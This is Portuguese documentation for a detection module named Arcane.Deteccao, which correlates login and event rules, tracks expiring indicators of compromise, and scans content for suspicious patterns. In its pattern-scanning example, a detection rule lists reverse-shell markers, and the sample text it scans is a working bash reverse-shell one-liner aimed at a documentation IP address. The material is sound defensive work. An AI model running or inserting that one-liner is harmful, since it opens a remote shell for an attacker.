Arcane.Deteccao
Regras de detecção sobre eventos, com correlação por chave em janela deslizante, supressão, gravidade e mapa para MITRE ATT&CK; indicadores de comprometimento com prazo e normalização; padrões sobre conteúdo e leitura de log de acesso. O alerta carrega os eventos que o causaram.
Gravar log é fácil e quase inútil sozinho: ninguém lê dez milhões de linhas. O que transforma log em defesa é a regra — a afirmação de que uma sequência de eventos significa alguma coisa — e o alerta, que é a regra disparando com o contexto junto.
Este módulo é a peça entre `Seguranca.auditoria` (que grava) e a pessoa (que precisa saber). Ele é pequeno de propósito: um SIEM de verdade é infraestrutura, e reimplementá-lo em Python daria um subconjunto pior amarrado à linguagem.
adopt Arcane.Deteccao as D
m := D.motor()
m.regra("forca-bruta", quando := "login.falhou", vezes := 5,
janela := 60.0, gravidade := "alto", attack := "T1110",
por := "ip", descricao := "cinco falhas na mesma origem")
cycle i from 1 to 4:
assert len(m.evento("login.falhou", {"ip": "203.0.113.7"})) is 0
novos := m.evento("login.falhou", {"ip": "203.0.113.7"})
assert len(novos) is 1
a := novos[0]
out $"{a['gravidade']} — {a['regra']} ({a['attack']})"
out $"causado por {len(a['eventos'])} eventos"As cinco decisões#
| Decisão | Sem ela |
|---|---|
| a correlação é por chave | cinco falhas de cinco pessoas diferentes viram um alerta de força bruta — e o alerta que mais custa é o que está errado |
| a janela é deslizante | 5 falhas às 23h59 e 5 às 00h01 passam por baixo de duas janelas fixas, e é assim que se contorna um contador por minuto |
| o alerta traz os eventos que o causaram | “força bruta detectada” sem o que aconteceu não é investigável |
| há supressão | a mesma regra disparando mil vezes por minuto é ruído, e ruído é o que faz desligar o alerta |
| a regra que falha é contada | um motor que morre no primeiro erro de regra deixa de detectar tudo o resto — e o silêncio parece calmaria |
adopt Arcane.Deteccao as D
// Cinco falhas de CINCO origens diferentes nao sao forca bruta.
m := D.motor()
m.regra("fb", quando := "login.falhou", vezes := 5, janela := 60.0,
por := "ip")
cycle ip in ["1.1.1.1", "2.2.2.2", "3.3.3.3", "4.4.4.4", "5.5.5.5"]:
m.evento("login.falhou", {"ip": ip})
assert len(m.alertas()) is 0Indicadores#
Um IOC — hash, IP, domínio, URL — responde “isto já foi visto num incidente?”. Ele é datado e perecível: um IP malicioso hoje é um IP de nuvem reciclado em três semanas, e um indicador sem prazo vira falso positivo permanente.
adopt Arcane.Deteccao as D
m := D.motor()
ind := m.indicadores()
ind.acrescentar("ip", "198.51.100.66", fonte := "feed-x",
gravidade := "critico")
ind.acrescentar("dominio", "MAU.EXEMPLO.")
// O mesmo indicador escrito de dois jeitos e o mesmo indicador.
assert ind.ver("dominio", "mau.exemplo") isnt void
assert ind.ver("ip", "8.8.8.8") is void
// 'observar' liga o indicador ao motor: bateu, virou evento.
m.regra("ioc", quando := "indicador.visto", vezes := 1,
gravidade := "critico")
m.observar("ip", "198.51.100.66", {"onde": "proxy"})
assert len(m.alertas(gravidade_minima := "critico")) is 1Padrões sobre conteúdo#
adopt Arcane.Deteccao as D
regras := [
D.padrao("shell-reverso", ["bash -i", "/dev/tcp/", "nc -e"],
gravidade := "critico"),
D.padrao("base64-longo", ["[A-Za-z0-9+/]{120,}={0,2}"],
gravidade := "medio")
]
suspeito := """#!/bin/sh
bash -i >& /dev/tcp/203.0.113.7/4444 0>&1
"""
achados := D.varrer(suspeito, regras)
cycle r in achados:
out $"{r['gravidade']} — {r['regra']} ({r['total']})"
cycle x in r["achados"]:
out $" linha {x['linha']}: {x['padrao']}"O que ele não faz#
| Não faz | Porque |
|---|---|
| não envia alerta | ao_alertar recebe um retorno de chamada, e quem manda para o Slack, o e-mail ou o Telegram é quem chama. Um módulo que escolhesse o canal escolheria errado — e traria uma dependência de rede para o caminho de uma detecção |
| não lê arquivo de log sozinho | ele recebe eventos. Um leitor embutido teria de adivinhar o formato, e formato de log é a coisa que menos se parece entre dois sistemas. ler_linha cobre só o combinado (Apache/nginx), e diz isso |
Guia com contexto: As ferramentas e Ataques a credenciais.
Constantes#
| Nome | Valor |
|---|---|
GRAVIDADES | ["informativo", "baixo", "medio", "alto", "critico"] |
TIPOS_DE_INDICADOR | ["ip", "dominio", "url", "hash", "email", "usuario"] |
Funções (5)#
| Assinatura |
|---|
indicadores() |
ler_linha(linha, formato='combinado') |
motor() |
padrao(nome, textos, gravidade='medio', descricao='') |
varrer(conteudo, padroes, minimo=1) |